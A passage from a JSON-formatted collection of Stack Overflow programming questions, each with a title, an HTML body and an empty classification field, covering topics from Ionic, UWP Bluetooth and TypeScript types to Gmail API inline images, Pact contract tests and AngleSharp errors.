here\"></a></p>\n\n<p>What do these errors mean, and how can I get the console to show logs? Or is there another way I can view logs without having to enable remote debugger? Thanks!</p>\n"},{"Classification":"","Title":"Ionic keyboard doesnt show in 4.1 and 5.1 version","Body":"<p>ionic issues showing keyboard in versions 4.1 and 5.1, this is the error I got.</p>\n\n<blockquote>\n <p>Object: [ Object HTMLUnknowElement ] has no method ‘closets’</p>\n</blockquote>\n\n<p><a href=\"https://i.stack.imgur.com/hyCFv.png\" rel=\"nofollow noreferrer\">ionic error</a></p>\n\n<p>ionic error</p>\n\n<p>this is my local stack:</p>\n\n<pre><code>cli packages: (/usr/local/lib/node_modules)\n\n@ionic/cli-plugin-proxy : 1.5.8\n@ionic/cli-utils : 1.13.1\nionic (Ionic CLI) : 3.13.1\nglobal packages:\n\ncordova (Cordova CLI) : 8.0.0 \nlocal packages:\n\n@ionic/app-scripts : 3.1.8\nCordova Platforms : none\nIonic Framework : ionic-angular 3.9.2\n</code></pre>\n"},{"Classification":"","Title":"How can I create a UWP Class Library with Bluetooth permissions?","Body":"<p>I asked a similar question yesterday, but I think it was the wrong one. I have PCL that uses Xamarin to implement Bluetooth LE support on iOS &amp; Android already, but now I must implement Windows BT support. It appears the only way to do so is through UWP, but after creating a UWP class library to do so, and referencing it through my PCL, the DeviceWatcher skips from Created to EnumerationComplete. </p>\n\n<p>My guess is this is due to there not being bluetooth permission granted to the program -- as that has to be specified in the manifest, which isn't used in a class library. Do you guys happen to know if this is true? How can I grant permissions to my PCL and/or UWP class library? Below is some of the code I wrote in the UWP (pasted from my previous question.) Thank you in advance for any help you may offer.</p>\n\n<p><em>Adapter.cs</em></p>\n\n<pre><code>private DeviceWatcher deviceWatcher;\n\npublic override IList&lt;IDevice&gt; ConnectedDevices =&gt; ConnectedDeviceRegistry.Values.ToList();\n\n /// &lt;summary&gt;\n /// Used to store all connected devices\n /// &lt;/summary&gt;\n public Dictionary&lt;string, IDevice&gt; ConnectedDeviceRegistry { get; }\n\n\n /// &lt;summary&gt;\n /// Registry used to store device instances for pending operations : connect \n /// &lt;/summary&gt;\n public Dictionary&lt;string, IDevice&gt; DeviceOperationRegistry { get; }\n\n public Adapter(DeviceWatcher deviceWatcher)\n {\n Platform = PLATFORM.WINDOWS;\n DeviceOperationRegistry = new Dictionary&lt;string, IDevice&gt;();\n ConnectedDeviceRegistry = new Dictionary&lt;string, IDevice&gt;();\n\n this.deviceWatcher = deviceWatcher;\n /*DeviceInformation.CreateWatcher(\n aqsAllBluetoothLEDevices,\n requestedProperties,\n DeviceInformationKind.AssociationEndpoint);*/\n\n deviceWatcher.Added += DeviceWatcher_Added;\n deviceWatcher.Updated += DeviceWatcher_Updated;\n deviceWatcher.Removed += DeviceWatcher_Removed;\n deviceWatcher.EnumerationCompleted += DeviceWatcher_EnumerationCompleted;\n deviceWatcher.Stopped += DeviceWatcher_Stopped;\n }\n\n protected override Task StartScanningForDevicesNativeAsync(Guid[] serviceUuids, bool allowDuplicatesKey, CancellationToken scanCancellationToken)\n {\n\n // clear out the list\n DiscoveredDevices.Clear();\n\n deviceWatcher.Start();\n\n return Task.FromResult(true);\n }\n</code></pre>\n\n<p><em>BleImplementation.cs</em></p>\n\n<pre><code>string[] requestedProperties = { \"System.Devices.Aep.DeviceAddress\", \"System.Devices.Aep.IsConnected\", \"System.Devices.Aep.Bluetooth.Le.IsConnectable\" };\n\n // BT_Code: Example showing paired and non-paired in a single query.\n string aqsAllBluetoothLEDevices = \"(System.Devices.Aep.ProtocolId:=\\\"{bb7bb05e-5972-42b5-94fc-76eaa7084d49}\\\")\";\n\n DeviceWatcher deviceWatcher;\n\n protected override IAdapter CreateNativeAdapter()\n {\n deviceWatcher = DeviceInformation.CreateWatcher(\n aqsAllBluetoothLEDevices,\n requestedProperties,\n DeviceInformationKind.AssociationEndpoint);\n return new Adapter(deviceWatcher);\n }\n</code></pre>\n\n<p><em>Package.appxmanifest</em></p>\n\n<pre><code> &lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;Package xmlns=\"http://schemas.microsoft.com/appx/2010/manifest\"&gt;\n &lt;Prerequisites&gt;\n &lt;OSMinVersion&gt;&lt;/OSMinVersion&gt;\n &lt;OSMaxVersionTested&gt;&lt;/OSMaxVersionTested&gt;\n &lt;/Prerequisites&gt;\n &lt;Resources&gt;\n &lt;Resource Language=\"\" /&gt;\n &lt;/Resources&gt;\n &lt;Applications&gt;\n &lt;Application Id=\"\" StartPage=\"\"&gt;\n &lt;VisualElements DisplayName=\"\" Description=\"\"\n Logo=\"\" SmallLogo=\"\"\n ForegroundText=\"\" BackgroundColor=\"\"&gt;\n &lt;SplashScreen Image=\"\" /&gt;\n &lt;/VisualElements&gt;\n &lt;/Application&gt;\n &lt;/Applications&gt;\n\n &lt;Identity Name=\"MyCompany.MySuite.MyApp\"\n Version=\"1.0.0.0\"\n Publisher=\"CN=MyCompany, O=MyCompany, L=MyCity, S=MyState, C=MyCountry\"/&gt;\n\n &lt;Properties&gt;\n &lt;DisplayName&gt;MyApp&lt;/DisplayName&gt;\n &lt;PublisherDisplayName&gt;MyCompany&lt;/PublisherDisplayName&gt;\n &lt;Logo&gt;images\\icon.png&lt;/Logo&gt;\n &lt;/Properties&gt;\n\n &lt;Capabilities&gt;\n &lt;Capability Name=\"internetClient\" /&gt;\n &lt;!--BT_Code: Always declare the bluetooth capability when using Bluetooth--&gt;\n &lt;DeviceCapability Name=\"bluetooth\" /&gt;\n &lt;/Capabilities&gt;\n&lt;/Package&gt;\n</code></pre>\n"},{"Classification":"","Title":"Visual Studio 2015 build/rebuild error","Body":"<p>I have two projects in my solution and I am connected to TFS. Whenever I build/rebuild the solution , my VS2015 crashes before completing the build.\nThe error on debugging in a new vs2015 instance is\n'System.ExecutionEngineException' occurred in Microsoft.CodeAnalysis.Workspaces.dll</p>\n\n<p>What could be the possible causes to this error and what ways could I diagnose this?</p>\n\n<p>Thanks</p>\n"},{"Classification":"","Title":"Dynamically add a div and its content","Body":"<pre><code>&lt;div class='tagstore' id='tagstore'&gt;\n &lt;div class='tagsingle' title='delete'&gt;323&lt;/div&gt;\n &lt;div class='tagsingle' title='delete'&gt;525&lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>I need to add the following:</p>\n\n<p><code>&lt;div class='tagsingle' title='delete'&gt;some variable&lt;/div&gt;</code></p>\n\n<p><strong>js</strong></p>\n\n<pre><code>var a = 'lorem';\nvar obj = \"&lt;div class='tagsingle' title='delete'&gt;\" + a + \"&lt;/div&gt;\";\nobj.appendTo('#tagstore');\n</code></pre>\n\n<p>Error:\n<code>obj.appendTo is not a function...</code></p>\n\n<p>Also tried: </p>\n\n<pre><code>var obj = document.createElement('div');\nobj.className = 'tagsingle';\nobj.appendTo('#tagstore');\n</code></pre>\n\n<p>Error:\n<code>obj.appendTo is not a function...</code></p>\n\n<p>Any help?</p>\n"},{"Classification":"","Title":"Elasticsearch : Search text by skipping words between in shingles","Body":"<p>When I search for a text \"submarine sinks ships\" I want the search ranking to prioritize the matches for \"submarine ships\". \nBut in my index of shingles size 2, the text will be indexed as {'submarine sinks', 'sinks ships'} but will not be indexing the first &amp; third letter{'submarine ships'} as one bigram &amp; eventually will give rank to the existing bigrams. How do I make that search work in this case?</p>\n"},{"Classification":"","Title":"Firebase API and Android's activity lifecycle","Body":"<p>The Firebase API is designed around a call-back architecture. It is filled with constructs like this Firestore example (taken from <a href=\"https://firebase.google.com/docs/firestore/manage-data/delete-data\" rel=\"nofollow noreferrer\">here</a>):</p>\n\n<pre><code>db.collection(\"cities\").document(\"DC\")\n .delete()\n .addOnSuccessListener(new OnSuccessListener&lt;Void&gt;() {\n @Override\n public void onSuccess(Void aVoid) {\n Log.d(TAG, \"DocumentSnapshot successfully deleted!\");\n }\n })\n .addOnFailureListener(new OnFailureListener() {\n @Override\n public void onFailure(@NonNull Exception e) {\n Log.w(TAG, \"Error deleting document\", e);\n }\n });\n</code></pre>\n\n<p>or this Firebase auth example (from <a href=\"https://firebase.google.com/docs/auth/android/firebaseui\" rel=\"nofollow noreferrer\">here</a>):</p>\n\n<pre><code>AuthUI.getInstance()\n .signOut(this)\n .addOnCompleteListener(new OnCompleteListener&lt;Void&gt;() {\n public void onComplete(@NonNull Task&lt;Void&gt; task) {\n // ...\n }\n });\n</code></pre>\n\n<p>Google's own sample code and apps are full of such callbacks (usually assigned as listeners to <a href=\"https://developers.google.com/android/reference/com/google/android/gms/tasks/Task\" rel=\"nofollow noreferrer\"><code>Task</code></a> objects), always coded directly in an activity or fragment.</p>\n\n<p>For iOS and web programming, such a callback-based API is really nice. It would be nice for Android as well, except that it seems to be contrary to Google's own guidance on dealing with activity (and fragment) lifecycles. Specifically, the calls to API methods like <code>delete()</code> or <code>signOut()</code> operate asynchronously. The call-back objects passed as listeners will be retained until the associated task completes and the call-back is invoked. If the activity (or fragment) is destroyed and then recreated (say, by a configuration change) while the task is executing, the callback will be invoked on a stale object. The callback also retains a reference to the destroyed activity, causing a memory leak.</p>\n\n<p>How are we supposed to handle these callbacks? For observing queries, Google suggests using <code>LiveData</code> objects (as in <a href=\"https://firebase.googleblog.com/2017/12/using-android-architecture-components.html\" rel=\"nofollow noreferrer\">this blog post</a>). However, for many Firebase tasks (such as the two examples above), using <code>LiveData</code> doesn't make much sense. Are we just supposed to code all these calls in retained fragments or in services? That doesn't seem very workable. On the other hand, perhaps it's the only reasonable thing to do (considering that <code>Task</code> objects don't have any way to remove listeners once they've been added).</p>\n"},{"Classification":"","Title":"Accessing IIFE function variables","Body":"<p>I have a function defined and executed as such .. </p>\n\n<pre><code>var exitPopup = (function($) {\n var someVar = false;\n var someFunc = function() { doSomething(); };\n})(jQuery);\n</code></pre>\n\n<p>My question is, is it possible to access the variables and functions within? How can I call <code>someFunc</code> without modifying the above code (its a plugin)? </p>\n\n<p>I would think something like </p>\n\n<pre><code>exitPopup.someFunc();\n</code></pre>\n\n<p>But yeah, no..</p>\n"},{"Classification":"","Title":"How do I create a mapped type from the keys of a fixed object in Typescript","Body":"<p>I have an object like this:</p>\n\n<pre><code>const routes = {\n home: { path: '/', page: 'home' },\n profile: { path: '/profile', page: 'users/profile' }\n}\n</code></pre>\n\n<p>I would like to define a derived type from this, like so:</p>\n\n<p><code>type RouteName = keyof typeof routes</code>, which creates a type like <code>\"home\" | \"profile\"</code>.</p>\n\n<p>However, I can't then do:</p>\n\n<pre><code>for (let name in routes) {\n router.add({ name, ...routes[name]})\n}\n</code></pre>\n\n<p>because the compiler complains about <code>routes[name]</code> being of implicit type <code>any</code>:</p>\n\n<pre><code>Element implicitly has an 'any' type because type '{ home: { path: string; page: string; }; profile: { path: string; page: string; };' has no index signature.\n</code></pre>\n\n<p>If I modify the definition of routes to:</p>\n\n<pre><code>interface RouteDefinition {\n path: string\n page: string\n}\nconst routes: {[key: string]: RouteDefinition} = {\n home: { path: '/', page: 'home' },\n profile: { path: '/profile', page: 'users/profile' }\n}\n</code></pre>\n\n<p>the generated type <code>type RouteName = keyof typeof routes</code> is now <code>string</code> instead of <code>\"home\"|\"profile\"</code>.</p>\n\n<p>I could of course define a hardcoded <code>RouteName</code> type, but in case it isn't clear, I'm trying to avoid having to define the route names in two places, especially when the keys of the object strictly define the set of possibilities.</p>\n\n<p>The object only needs to be defined once, and never needs to be reassigned. I've tried a bunch of combinations of <code>Readonly&lt;&gt;</code>, casting etc, but can't figure it out. Is there a way to do this?</p>\n\n<p>(I'm using Typescript 2.8.1)</p>\n"},{"Classification":"","Title":"Required XML attribute \"adSize\" was missing when it's my adUnitId from admob","Body":"<p>I've got a problem when I load my adUnitId in this code (when it's the adUnitId from admob which said \"You are displaying a ...\", it's working).\nOn my phone, on each banner, it's writing required XML attribute \"adSize\" was missing</p>\n\n<pre><code> AdviewHolder holder= (AdviewHolder) Myholder;\n holder.mAdView = new AdView(mContext);\n holder.mAdView.setAdSize(AdSize.BANNER);\n holder.mAdView.setAdUnitId(BANNER_ID);\n RelativeLayout layout = (RelativeLayout)holder.view.findViewById(R.id.Lr);\n layout.addView(holder.mAdView);\n AdRequest adRequest = new AdRequest.Builder().build();\n holder.mAdView.loadAd(adRequest);\n</code></pre>\n\n<p>Ask me if you want more informations\nThanks for your answers.</p>\n"},{"Classification":"","Title":"SQL Server is trying to use two paths for backup location","Body":"<p>I am struggling with a backup job created under Maintenance Plans for one installation. </p>\n\n<p>A \"Back Up Database Task\" is set for specific databases, option \"Disk\" is selected, as well as \"Create a backup file for every database\", and \"Create a sub-directory for each database\". Folder is set as a browseable UNC path: </p>\n\n<pre><code>\\\\\\backupserver\\SQLBack\\servername\n</code></pre>\n\n<p>View T-SQL shows the same correct backup location:</p>\n\n<pre><code>BACKUP DATABASE [DBName] \nTO DISK = N' \\\\\\backupserver\\SQLBack\\servername\\DBName\\DBName_backup_2018_04_27_141724_2876433.bak' \nWITH NOFORMAT, NOINIT, \n NAME = N'DBName_backup_2018_04_26_141724_2856433', \n SKIP, REWIND, NOUNLOAD, NO_COMPRESSION, STATS = 10\n</code></pre>\n\n<p>Everything looks great, but the actual path is failing with the actual path being different from what it should be:</p>\n\n<blockquote>\n <p>Executing the query \"BACKUP DATABASE [DBName] TO DISK = N' \\\\...\"\n failed with the following error: \"Cannot open backup device\n 'C:\\Program Files\\Microsoft SQL Server\\MSSQL.1\\MSSQL\\Backup\\\n \\\\backupserver\\SQLBack\\servername\\\\DBName\\DBName_backup_2018_04_26_124542_5356659.bak'.</p>\n</blockquote>\n\n<p>I can't figure out why is it appending <code>C:\\\\Program Files\\\\Microsoft SQL Server\\\\MSSQL.1\\\\MSSQL\\\\Backup\\\\</code> to the entered backup location, any help is appreciated.</p>\n\n<p>Both locations are available to the SQL Server.</p>\n"},{"Classification":"","Title":"How to prevent Gmail removing inline images for security reasons?","Body":"<p>I have created an email app to send all .png files found in folder as below:</p>\n\n<pre><code>import httplib2\nimport os\n\nfrom apiclient import discovery\nfrom oauth2client import client\nfrom oauth2client import tools\nfrom oauth2client.file import Storage\nfrom email.mime.text import MIMEText\nfrom email.mime.image import MIMEImage\nfrom email.mime.multipart import MIMEMultipart\nimport base64\nimport glob\nimport uuid\nimport html\nimport json\n\ntry:\n import argparse\n flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args()\nexcept ImportError:\n flags = None\n\n# If modifying these scopes, delete your previously saved credentials\n# at ~/.credentials/gmail-python-quickstart.json\nSCOPES = 'https://www.googleapis.com/auth/gmail.send'\nCLIENT_SECRET_FILE = 'json/gmail_secrets.json'\nAPPLICATION_NAME = 'APP NAME GOES HERE'\n\n\ndef get_credentials():\n \"\"\"Gets valid user credentials from storage.\n\n If nothing has been stored, or if the stored credentials are invalid,\n the OAuth2 flow is completed to obtain the new credentials.\n\n Returns:\n Credentials, the obtained credential.\n \"\"\"\n credential_dir = '.credentials'\n if not os.path.exists(credential_dir):\n os.makedirs(credential_dir)\n credential_path = os.path.join(credential_dir, 'email-sender.json')\n\n store = Storage(credential_path)\n credentials = store.get()\n if not credentials or credentials.invalid:\n flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES)\n flow.user_agent = APPLICATION_NAME\n if flags:\n credentials = tools.run_flow(flow, store, flags)\n else: # Needed only for compatibility with Python 2.6\n credentials = tools.run(flow, store)\n return credentials\n\n\n# Function to read all images in a folder and send them inline\ndef create_inline_images_message(log, img_dir, sender, to, subject):\n # Read all image filenames\n img_files = glob.glob(os.path.join(img_dir, '*.png'))\n\n # Holds MIME formatted images\n msg_images = []\n\n html_body = u'&lt;h1&gt;Latest Performance Reports&lt;/h1&gt;'\n for i_f in img_files:\n img_dict = dict(title = 'Image', path = i_f, cid = str(uuid.uuid4()))\n\n html_body += u'&lt;div dir=\"ltr\"&gt;&lt;img src=\"cid:{cid}\" alt=\"{alt}\"&gt;&lt;br&gt;&lt;/div&gt;'.format(alt=html.escape(img_dict['title'], quote=True), **img_dict)\n\n msg_images.append(attach_image(img_dict))\n\n # Base version of message\n msg = MIMEMultipart('related')\n msg['Subject'] = subject\n msg['From'] = sender\n msg['To'] = to\n\n # Create message\n msg_alternative = MIMEMultipart('alternative') # Message with plain and html alternatives\n\n # Plaintext (non-HTML) version of the email\n msg_text = MIMEText(u'Image not working - maybe next time', 'plain', 'utf-8')\n msg_alternative.attach(msg_text)\n\n # HTML version of email\n msg_html = MIMEText(html_body, 'html', 'utf-8')\n msg_alternative.attach(msg_html)\n\n # Now add images\n for m_i in msg_images:\n msg_alternative.attach(m_i)\n\n # Attached alternative to original\n msg.attach(msg_alternative)\n\n return {'raw': base64.urlsafe_b64encode(msg.as_string().encode()).decode()} \n\n\n# Function to return formatted image\ndef attach_image(img_dict):\n with open(img_dict['path'], 'rb') as file:\n msg_image = MIMEImage(file.read(), name = os.path.basename(img_dict['path']))\n msg_image.add_header('Content-ID', '&lt;{}&gt;'.format(img_dict['cid']))\n return msg_image\n\n\n# Send a gmail message, user_id = 'me' means the currently authenticated user, service is authenticated Gmail instance\ndef send_message(service, user_id, message):\n try:\n message = (service.users().messages().send(userId=user_id, body=message).execute())\n return message\n except:\n print('An error occurred')\n\n\n# Read in all metadata used to drive the script\ndef load_manifest(): \n return json.load(open('manifest.json'))\n\n\n# Main code\ndef main():\n # Load manifest\n manifest = load_manifest()\n\n # Use the saved credentials file to authenticate and create authenticated service\n credentials = get_credentials()\n http = credentials.authorize(httplib2.Http())\n service = discovery.build('gmail', 'v1', http=http)\n\n # Create and read log\n log = []\n\n # Get email addresses\n sender = manifest['globals']['email_sender']\n to = ','.join(manifest['globals']['email_recipients'])\n\n # Get folders and rename them to prevent race condition then send emails\n all_folders = os.listdir(manifest['globals']['reports_location'])\n eligible_folders = [f for f in all_folders if not f[-5:] in ['_dump', '_work', '_sent']]\n for f in eligible_folders:\n orig_folder_location = os.path.join(manifest['globals']['reports_location'], f)\n working_folder_location = os.path.join(manifest['globals']['reports_location'], f + '_work')\n finished_folder_location = os.path.join(manifest['globals']['reports_location'], f + '_sent')\n\n os.rename(orig_folder_location, working_folder_location)\n\n subject = 'Daily Report {}'.format(f)\n message = create_inline_images_message(log, working_folder_location, sender, to, subject)\n\n sent_message = send_message(service, 'me', message)\n\n os.rename(working_folder_location, finished_folder_location)\n\nmain()\n</code></pre>\n\n<p>This works perfectly, and if I authenticate as a user account (e.g. user1@gmail.com) and use them to send the email when I go onto their Gmail inbox the message appears and the images are embedded inline. However, if I use user1@gmail.com to send to another account (e.g. user2@gmail.com) when I go to their email inbox the images do not appear.</p>\n\n<p>In user2's inbox, if I inspect the image placeholder the <code>img</code> tag has the <code>src</code> removed. I also notice that if I go to <code>Show Original</code> there are SPF, DKIM and DMARC categories appearing at the top of the screen.</p>\n\n<p>If I manually forward the message from user1 to user2 the images appear as normal, but if I set up an auto-forward rule for user1 to automatically forward the message to user2 then the images are once again stripped out.</p>\n\n<p>I can only assume this is some kind of security \"feature\" which is preventing user2 from seeing the images; I know from user1's inbox that the email format is correct.</p>\n\n<p><strong>How can I allow the non-sending user to see the images?</strong></p>\n"},{"Classification":"","Title":"SoapUI 5.4.0 maven plugin has unsigned class files","Body":"<p>I am attempting to run a \"mvn test\" using the soapui-maven-plugin-5.4.0.jar. My first error states:<br>\n\"The plugin 'C:\\Users\\advasil\\.soapuios\\plugins\\soapui-maven-plugin-5.4.0.jar' has unsigned class files\". Followed by a bunch of ClassNotFoundExceptions. I downloaded the jar from <a href=\"http://smartbearsoftware.com/repository/maven2/com/smartbear/soapui/soapui-maven-plugin/5.4.0/\" rel=\"nofollow noreferrer\">smartbearsoftware.com</a> and copied it into the .soapuios plugins.<br><br> \nDoes smartbear not sign their own jars? I'm failing to find any hits on this issue, so I'm unsure if it's something I may be doing incorrectly.<br>\n Side note, I still receive a build success, I'm just curious about the signing.</p>\n"},{"Classification":"","Title":"How to render data as zero in empty dates in flot plugin","Body":"<p>I'm using flot with its time plugin to visualize some kind of user activities per day and i have data which looks like:\n[[date, value], [date, value]]</p>\n\n<p>Dates in UTC so everything works fine\nbut if where are no data between two dates flot doesn't recognize that data as zero and renders straight line. </p>\n\n<p>For example i have data [[1 feb, 3], [3 feb, 3]] and it's renders like:<br>\n<a href=\"https://i.stack.imgur.com/eBI3S.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eBI3S.png\" alt=\"i get\"></a></p>\n\n<p>And i want result like:</p>\n\n<p><a href=\"https://i.stack.imgur.com/YGkJG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YGkJG.png\" alt=\"i want\"></a></p>\n"},{"Classification":"","Title":"Count messages from multiple inbox using Mailinator API","Body":"<p>Need some advice. I am playing around with Mailinator PHP API and I was wondering if it is possible to fetch message count from multiple inboxes of Mailinator. May be using an array of inboxnames? I have tried it with single inbox and it fetches fine but when I use array, It gives me message count of first inbox (In array) only. Below is the code i've tried for fetching single inbox. </p>\n\n<pre><code>include 'Mailinator.php';\n$mailinator = new Mailinator('API_KEY_HERE');\n$data = new Inbox();\n$data = $mailinator-&gt;inbox(exampleinbox);\necho $data-&gt;count();\n</code></pre>\n\n<p>I am looking for something like this, but doesn't work!</p>\n\n<pre><code>include 'Mailinator.php';\n$inboxes = array(\"inbox1\", \"inbox2\", \"inbox3\");\n$mailinator = new Mailinator('API_KEY_HERE');\n$data = new Inbox();\n$data = $mailinator-&gt;inbox($inboxes);\necho $data-&gt;count(0);\necho $data-&gt;count(1);\n</code></pre>\n\n<p>It would also be great if i can make an array from file.txt</p>\n"},{"Classification":"","Title":"Which form's field is focused right now, Angular 5 Reactive Forms?","Body":"<p>I have a big form, <br>\nI want to know which one of form's filed is now focused.<br></p>\n\n<p>Is there a way to find it in Angular 5 Reactive forms without writing <code>(focus)</code> event for each one of fields?</p>\n"},{"Classification":"","Title":"Pact::JsonDiffer not behaving as expected with pact-messages gem","Body":"<p>I'm using the <a href=\"https://github.com/reevoo/pact-messages\" rel=\"nofollow noreferrer\">pact-messages</a> gem to generate a Pact file for a consumer of an events message queue provider.</p>\n\n<p>Here's the Pact file:</p>\n\n<pre><code>{\n \"consumer\": {\n \"name\": \"Ice Cream\"\n },\n \"provider\": {\n \"name\": \"Desserts\"\n },\n \"interactions\": [{\n \"description\": null,\n \"providerState\": \"dessert_created\",\n \"request\": {\n \"method\": \"MESSAGE\",\n \"path\": \"/\"\n },\n \"response\": {\n \"body\": {\n \"attributes\": {\n \"event_name\": \"dessert_created\",\n \"event_time\": {\n \"json_class\": \"Pact::SomethingLike\",\n \"contents\": \"2018-03-05T21:00:32.321Z\"\n }\n },\n \"body\": {\n \"dessert_resource_link_id\": {\n \"json_class\": \"Pact::SomethingLike\",\n \"contents\": \"407245344ee3f65fe3a8b11d77ca9b11ea4660e8\"\n },\n \"dessert_resource_link_id_duplicated_from\": {\n \"json_class\": \"Pact::SomethingLike\",\n \"contents\": \"407245344ee3f65fe3a8b11d77ca9b11ea4660e8\"\n }\n }\n }\n }\n }],\n \"metadata\": {\n \"pactSpecification\": {\n \"version\": \"1.0.0\"\n }\n }\n}\n</code></pre>\n\n<p>Here's the <code>event_message</code> (in Ruby) generated by the provider:</p>\n\n<pre class=\"lang-rb prettyprint-override\"><code>{\n \"attributes\" =&gt; {\n \"event_name\" =&gt; \"dessert_created\", \"event_time\" =&gt; \"2018-04-27T21:09:06Z\"\n }, \"body\" =&gt; {\n \"dessert_id\" =&gt; \"21\", \"context_id\" =&gt; \"11\", \"context_type\" =&gt; \"Ice Cream\", \"workflow_state\" =&gt; \"duplicating\", \"title\" =&gt; \"Rocky Road\", \"description\" =&gt; \"chocolate with almonds and marshmallows\", \"updated_at\" =&gt; \"2018-04-27T21:09:06Z\", \"dessert_resource_link_id\" =&gt; \"769151f4f462812b8c630f3dfd8af84567a29a03\", \"dessert_resource_link_id_duplicated_from\" =&gt; \"769151f4f462812b8c630f3dfd8af84567a29a03\"\n }\n}\n</code></pre>\n\n<p>Here's the code where I compare the Pact with the generated message:</p>\n\n<pre class=\"lang-rb prettyprint-override\"><code> def has_kept_the_contract?\n diff = compare_contract_with_live_event\n contract_matches = diff.none?\n print_difference(diff) unless contract_matches\n contract_matches\n end\n\n private\n\n def compare_contract_with_live_event\n Pact::JsonDiffer.call(contract_message, event_message)\n end\n\n def contract_message\n Pact::Messages.get_message_contract(\n 'Desserts',\n 'Ice Cream',\n 'dessert_created'\n )\n end\n\n def print_difference(diff)\n puts Pact::Matchers::UnixDiffFormatter.call(diff)\n end\n</code></pre>\n\n<p>I would expect <code>has_kept_the_contract?</code> to return <code>true</code>, but instead the contract fails and the <code>print_difference</code> method outputs the following from Pact:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>Diff\n--------------------------------------\nKey: - is expected\n + is actual\nMatching keys and values are not shown\n\n {\n \"attributes\": {\n- \"event_time\": {\n- \"json_class\": \"Pact::SomethingLike\",\n- \"contents\": \"2018-03-05T21:00:32.321Z\"\n- }\n+ \"event_time\": \"2018-04-27T20:58:44Z\"\n },\n \"body\": {\n- \"dessert_resource_link_id\": {\n- \"json_class\": \"Pact::SomethingLike\",\n- \"contents\": \"407245344ee3f65fe3a8b11d77ca9b11ea4660e8\"\n- },\n- \"dessert_resource_link_id_duplicated_from\": {\n- \"json_class\": \"Pact::SomethingLike\",\n- \"contents\": \"407245344ee3f65fe3a8b11d77ca9b11ea4660e8\"\n- }\n+ \"dessert_resource_link_id\": \"67ad1125cec845b128dac090565dc4e59d687df3\",\n+ \"dessert_resource_link_id_duplicated_from\": \"67ad1125cec845b128dac090565dc4e59d687df3\"\n }\n }\n\nDescription of differences\n--------------------------------------\n* Expected a Hash but got a String (\"2018-04-27T20:58:44Z\") at $.attributes.event_time\n* Expected a Hash but got a String (\"67ad1125cec845b128dac090565dc4e59d687df3\") at $.body.dessert_resource_link_id\n* Expected a Hash but got a String (\"67ad1125cec845b128dac090565dc4e59d687df3\") at $.body.dessert_resource_link_id_duplicated_from\n</code></pre>\n\n<p>It seems Pact is comparing the full <code>\"item\": { \"json_class\": \"..\", \"contents\": \"..\" }</code> hash with the expected String value instead of comparing <code>item[\"contents\"]</code> with the expected String value as indicated in the <a href=\"https://github.com/pact-foundation/pact-support/blob/master/lib/pact/matchers/matchers.rb#L46\" rel=\"nofollow noreferrer\">pact-support matchers source code</a>, but I don't know why or how to fix it.</p>\n\n<p>Strange thing is I have pact-messages contract tests working in a different project and the code is virtually identical. I've been debugging and source code diving into various Pact repos without luck. I'm stumped. Suggestions?</p>\n\n<p><code>pact</code> gem version <code>1.22.2</code></p>\n\n<p><code>pact-messages</code> gem version <code>0.2.0</code></p>\n\n<p>ruby version <code>2.4</code></p>\n"},{"Classification":"","Title":"Opening URL throws String was not recognized as a valid DateTime","Body":"<p>Using AngleSharp v 0.9.9.0 this:</p>\n\n<pre><code>var siteUrl = \"https://richmond.csod.com/ats/careersite/search.aspx?site=1&amp;c=richmond\";\n\nvar configuration = Configuration.Default.WithDefaultLoader().WithCookies();\nvar currentContext = BrowsingContext.New(configuration);\nvar originalDoc = currentContext.OpenAsync(siteUrl).Result;\n\nConsole.WriteLine(originalDoc.DocumentElement.OuterHtml);\n</code></pre>\n\n<p>Works fine. But if I upgrade to v 0.9.9.2 it throws this:</p>\n\n<pre><code>Unhandled Exception: System.AggregateException: One or more errors occurred. ---&gt; System.FormatException: String was not recognized as a valid DateTime.\n at System.DateTimeParse.Parse(String s, DateTimeFormatInfo dtfi, DateTimeStyles styles)\n at AngleSharp.Services.Default.MemoryCookieProvider.Sanatize(String cookie)\n at AngleSharp.Services.Default.MemoryCookieProvider.SetCookie(String origin, String value)\n at AngleSharp.Dom.Document.set_Cookie(String value)\n at AngleSharp.Dom.Document.Setup(CreateDocumentOptions options)\n at AngleSharp.Dom.Html.HtmlDocument.&lt;LoadAsync&gt;d__5.MoveNext()\n--- End of stack trace from previous location where exception was thrown ---\n at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)\n at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)\n at AngleSharp.BrowsingContextExtensions.&lt;OpenAsync&gt;d__2.MoveNext()\n --- End of inner exception stack trace ---\n at System.Threading.Tasks.Task.ThrowIfExceptional(Boolean includeTaskCanceledExceptions)\n at System.Threading.Tasks.Task`1.GetResultCore(Boolean waitCompletionNotification)\n at System.Threading.Tasks.Task`1.get_Result()\n at AngleSharpTest.Program.Main(String[] args) in C:\\Users\\matt.burland\\source\\repos\\AngleSharpTest\\AngleSharpTest\\Program.cs:line 21\n</code></pre>\n\n<p>It seems to be coming internally from AngleSharp and happens for several different, completely unrelated urls. FWIW, my culture settings are <code>en-US</code>, and I've tried setting to invariant culture but that doesn't seem to help either.</p>\n\n<p>Has anybody else seen this problem? Is there a work around?</p>\n"},{"Classification":"","Title":"PYTHON (KERAS) - How do I modify KERAS builtin \"get batch\" callback function?","Body":"<p>.\nHi, everyone. </p>\n\n<p>I am currently working on an image classification problem for my PhD Thesis on oil/gas data processing. The data I need to classify is a SINGLE image from a borehole (like this one here, on the left: <a href=\"http://hager-richter.net/wp-content/uploads/2012/03/bore_graf.jpg\" rel=\"nofollow noreferrer\">http://hager-richter.net/wp-content/uploads/2012/03/bore_graf.jpg</a>), from which I have a certain lithological classification curve. </p>\n\n<p>This means that, on one side I have a continuous image (like the one on the link), and on the other side I have a discrete curve with categorical numbers (say, 0, 1, 2, 3..., where each number indicates a certain lithological class, something like the type of rock that line of the image can be classified as). Let's call the input data (image) \"X\" and the classification curve \"Y\". </p>\n\n<p>X has a shape of: (img_Height, img_Width, number_img_channels)<br>\nY has a shape of: (img_Height, 1)</p>\n\n<p>The idea is to use a CNN (raghakot resnet implementation: <a 